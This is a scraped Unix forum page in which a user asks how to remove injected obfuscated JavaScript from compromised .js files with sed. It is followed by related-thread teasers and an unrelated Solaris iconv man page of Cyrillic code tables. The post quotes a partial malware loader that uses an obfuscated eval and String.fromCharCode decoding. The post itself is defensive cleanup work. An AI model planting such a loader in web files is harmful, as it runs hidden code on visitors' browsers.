Login or Register to Ask a Question and Join Our Community

Sponsored Content
Full Discussion: Removing obfuscated javascript from js files
Top Forums Shell Programming and Scripting Removing obfuscated javascript from js files Post 302665365 by cuantica on Monday 2nd of July 2012 11:33:58 AM
Old 07-02-2012
Removing obfuscated javascript from js files
ello, I am trying to remove obfuscated code in multiple files on a server, the malicious code is surronded by

Code:
/*km0ae9gr6m*//*qhk6sa6g1c*/

I had success removing from some files using this command

Code:
sed -i ':strt;s|/\*km0ae9gr6m\*/[^/]*/\*qhk6sa6g1c\*/||g;/\/\*km0ae9gr6m\*\//{N;b strt}' fileaffected.js

But it failed on this pattern

Code:
/*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[312,420,100,200,303,440,34,118,96,40,32
...
more bytecode
...
,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/

Any suggestions?
Last edited by methyl; 07-02-2012 at 02:17 PM.. Reason: please use code tags
 

9 More Discussions You Might Find Interesting

1. Programming

Obfuscated C

Well this year i decided to enter the International Obfuscated C Code Contest. This was my first attempt at writing obfuscated C (at least purposely), so I am sure that this is kids-stuff for the real obfuscation gurus. Anyway, the results are out, and I am not a finalist (I wasn't expecting to... (5 Replies)
Discussion started by: PxT
5 Replies

2. Shell Programming and Scripting

removing old files except configuration files and folders

Dear all, I want to remove files older than 2 months in the /home/member directory. But except the configuration files (like .bash_profile .config/ .openoffice/ .local/ .kde/ etc..) I have tried with the command find . -mtime +60 -wholename './.*' -prune -o -print -exec mv {} \; but it... (1 Reply)
Discussion started by: jamcalicut
1 Replies

3. Web Development

opening text files with javascript

Im aware under IE, javascript uses ActiveX Objects to open up and manipulate text files, excel files etc.. How abouts would I open a text file using javascript in Firefox ? thanks (1 Reply)
Discussion started by: JamesGoh
1 Replies

4. Shell Programming and Scripting

Help with Find/Replace Javascript Injected Strings in mulitple files

Hi, guys, I'm not a high-end programmer, but I've been trying to write a script to remove all of the b.rtbn2.cn (and b.adserv.cn and any future variation) injected script tags on the server. (Still working on security fixes to prevent it in the future, just need to clean up now.) My approach is... (1 Reply)
Discussion started by: zzlegs
1 Replies

5. Shell Programming and Scripting

recursively remove javascript from all folder index files

Hi All, A site I manage had some javascript inserted into each folders index file. Can anyone priovide me with some ideas on how to use awk, sed or some other bash script to parse through each of the site folders and remove this code? If I have to do it by hand I'm going to go insane. :eek: ... (2 Replies)
Discussion started by: lsalsich
2 Replies

6. Web Development

Random - Any help decoding obfuscated code?

I have this following file and I would quite like to get it decoded - any help / advice is appreciated. I would like to know how to decrypt it, however if someone is able to do it for me I would be equally grateful. <?php //Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2:... (6 Replies)
Discussion started by: mcclunyboy
6 Replies

7. Programming

Obfuscated "Hello World!" in Python 2.7.x...

Obfuscated Hello World! in Python 2.7.x This is seriously impressive:- Obfuscating "Hello world!" - Ben Kurtovic (2 Replies)
Discussion started by: wisecracker
2 Replies

8. UNIX for Dummies Questions & Answers

Help in Removing the Old files

Hi Gurus, we are planning to clear the old log files based on the year and i need help on this and i searched in google and i came up with the scripts but i am stuck with this. (1) wroks fine How many files exist in based on the extension find -type f | sed -e 's/.*\.//' | sort | uniq... (1 Reply)
Discussion started by: SeenuGuddu
1 Replies

9. UNIX for Beginners Questions & Answers

Find and removing the old files and zipping the files using shell script

Hi, I am trying to removing the old files which were older than 10 days and same g zipping the files using the shell script. script was return as follows. find /jboss7_homes/JBOSS7/SKYLIV??/SKYLIV??_CRM/jboss-eap-7.0/standalone/log -mtime +10 -type f | xargs rm -f find /cer_skyliv??/log... (6 Replies)
Discussion started by: venkat918
6 Replies

LEARN ABOUT OPENSOLARIS

iconv_pc_cyr

iconv_pc_cyr(5)                                         Standards, Environments, and Macros                                        iconv_pc_cyr(5)

NAME

       iconv_pc_cyr - code set conversion tables for Alternative PC Cyrillic

DESCRIPTION

       The following code set conversions are supported:

       +---------------------------------------------------------------------+
       |                   Code Set Conversions Supported                    |
       +--------------+--------+--------------+--------+---------------------+
       |    Code      |Symbol  |Target Code   |Symbol  |    Target Output    |
       +--------------+--------+--------------+--------+---------------------+
       |PC Cyrillic   |alt     |ISO 8859-5    |iso5    | ISO 8859-5 Cyrillic |
       +--------------+--------+--------------+--------+---------------------+
       |PC Cyrillic   |alt     |KOI8-R        |koi8    | KOI8-R              |
       +--------------+--------+--------------+--------+---------------------+
       |PC Cyrillic   |alt     |MS 1251       |win5    | Windows Cyrillic    |
       +--------------+--------+--------------+--------+---------------------+
       |PC Cyrillic   |alt     |Mac Cyrillic  |mac     | Macintosh Cyrillic  |
       +--------------+--------+--------------+--------+---------------------+

CONVERSIONS

       The conversions are performed according to the following tables. All values in the tables are given in octal.

   PC Cyrillic to ISO 8859-5
       For the conversion of PC Cyrillic to ISO 8859-5, all characters not in the following table are mapped unchanged.

       +-----------------------------------------------------------------+
       |               |     Conversions|Performed       |               |
       | PC Cyrillic   |  ISO 8859-5    | PC Cyrillic    |  ISO 8859-5   |
       |24             | 4              |231             |311            |
       |200            | 260            |232             |312            |
       |201            | 261            |233             |313            |
       |202            | 262            |234             |314            |
       |203            | 263            |235             |315            |
       |204            | 264            |236             |316            |
       |205            | 265            |237             |317            |
       |206            | 266            |240             |320            |
       |207            | 267            |241             |321            |
       |210            | 270            |242             |322            |
       |211            | 271            |243             |323            |
       |212            | 272            |244             |324            |
       |213            | 273            |245             |325            |
       |214            | 274            |246             |326            |
       |215            | 275            |247             |327            |
       |216            | 276            |250             |330            |
       |217            | 277            |251             |331            |
       |220            | 300            |252             |332            |
       |221            | 301            |253             |333            |
       |222            | 302            |254             |334            |
       |223            | 303            |255             |335            |
       |224            | 304            |256             |336            |
       |225            | 305            |257             |337            |
       |226            | 306            |260-337         |255            |
       |227            | 307            |360             |241            |
       |230            | 310            |362-376         |255            |
       +---------------+----------------+----------------+---------------+

   PC Cyrillic to KOI8-R
       For the conversion of PC Cyrillic to KOI8-R, all characters not in the following table are mapped unchanged.

       +-----------------------------------------------------------------+
       |               |     Conversions|Performed       |               |
       | PC Cyrillic   |    KOI8-R      | PC Cyrillic    |    KOI8-R     |
       |24             | 4              |242             |327            |
       |200            | 341            |243             |307            |
       |201            | 342            |244             |304            |
       |202            | 367            |245             |305            |
       |203            | 347            |246             |326            |
       |204            | 344            |247             |332            |
       |205            | 345            |250             |311            |
       |206            | 366            |251             |312            |
       |207            | 372            |252             |313            |
       |210            | 351            |253             |314            |
       |211            | 352            |254             |315            |
       |212            | 353            |255             |316            |
       |213            | 354            |256             |317            |
       |214            | 355            |257             |320            |
       |215            | 356            |260-337         |255            |
       |216            | 357            |340             |322            |
       |217            | 360            |341             |323            |
       |220            | 362            |342             |324            |
       |221            | 363            |343             |325            |
       |222            | 364            |344             |306            |
       |223            | 365            |345             |310            |
       |224            | 346            |346             |303            |
       |225            | 350            |347             |336            |
       |226            | 343            |350             |333            |
       |227            | 376            |351             |335            |
       |230            | 373            |352             |337            |
       |231            | 375            |353             |331            |
       |232            | 377            |354             |330            |
       |233            | 371            |355             |334            |
       |234            | 370            |356             |300            |
       |235            | 374            |357             |321            |
       |236            | 340            |360             |263            |
       |237            | 361            |361             |243            |
       |240            | 301            |362-376         |255            |
       |241            | 302            |                |               |
       +---------------+----------------+----------------+---------------+

   PC Cyrillic to MS 1251
       For the conversion of PC Cyrillic to MS 1251, all characters not in the following table are mapped unchanged.

       +-----------------------------------------------------------------+
       |               |     Conversions|Performed       |               |
       | PC Cyrillic   |    MS 1251     | PC Cyrillic    |   MS 1251     |
       |24             | 4              |242             |342            |
       |200            | 300            |243             |343            |
       |201            | 301            |244             |344            |
       |202            | 302            |245             |345            |
       |203            | 303            |246             |346            |
       |204            | 304            |247             |347            |
       |205            | 305            |250             |350            |
       |206            | 306            |251             |351            |
       |207            | 307            |252             |352            |
       |210            | 310            |253             |353            |
       |211            | 311            |254             |354            |
       |212            | 312            |255             |355            |
       |213            | 313            |256             |356            |
       |214            | 314            |257             |357            |
       |215            | 315            |260-337         |210            |
       |216            | 316            |340             |360            |
       |217            | 317            |341             |361            |
       |220            | 320            |342             |362            |
       |221            | 321            |343             |363            |
       |222            | 322            |344             |364            |
       |223            | 323            |345             |365            |
       |224            | 324            |346             |366            |
       |225            | 325            |347             |367            |
       |226            | 326            |350             |370            |
       |227            | 327            |351             |371            |
       |230            | 330            |352             |372            |
       |231            | 331            |353             |373            |
       |232            | 332            |354             |374            |
       |233            | 333            |355             |375            |
       |234            | 334            |356             |376            |
       |235            | 335            |357             |377            |
       |236            | 336            |360             |250            |
       |237            | 337            |361             |270            |
       |240            | 340            |362-376         |210            |
       |241            | 341            |                |               |
       +---------------+----------------+----------------+---------------+

   PC Cyrillic to Mac Cyrillic
       For the conversion of PC Cyrillic to Mac Cyrillic, all characters not in the following table are mapped unchanged.

       +-----------------------------------------------------------------+
       |               |     Conversions|Performed       |               |
       | PC Cyrillic   | Mac Cyrillic   | PC Cyrillic    | Mac Cyrillic  |
       |24             | 4              |341             |361            |
       |240            | 340            |342             |362            |
       |241            | 341            |343             |363            |
       |242            | 342            |344             |364            |
       |243            | 343            |345             |365            |
       |244            | 344            |346             |366            |
       |245            | 345            |347             |367            |
       |246            | 346            |350             |370            |
       |247            | 347            |351             |371            |
       |250            | 350            |352             |372            |
       |251            | 351            |353             |373            |
       |252            | 352            |354             |374            |
       |253            | 353            |355             |375            |
       |254            | 354            |356             |376            |
       |255            | 355            |357             |337            |
       |256            | 356            |360             |335            |
       |257            | 357            |361             |336            |
       |260-337        | 40             |362-376         |40             |
       |340            | 360            |                |               |
       +---------------+----------------+----------------+---------------+

FILES

       /usr/lib/iconv/*.so             conversion modules

       /usr/lib/iconv/*.t              conversion tables

       /usr/lib/iconv/iconv_data       list of conversions supported by conversion tables

SEE ALSO

       iconv(1), iconv(3C), iconv(5)

SunOS 5.10                                                          18 Apr 1997                                                    iconv_pc_cyr(5)
All times are GMT -4. The time now is 03:59 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy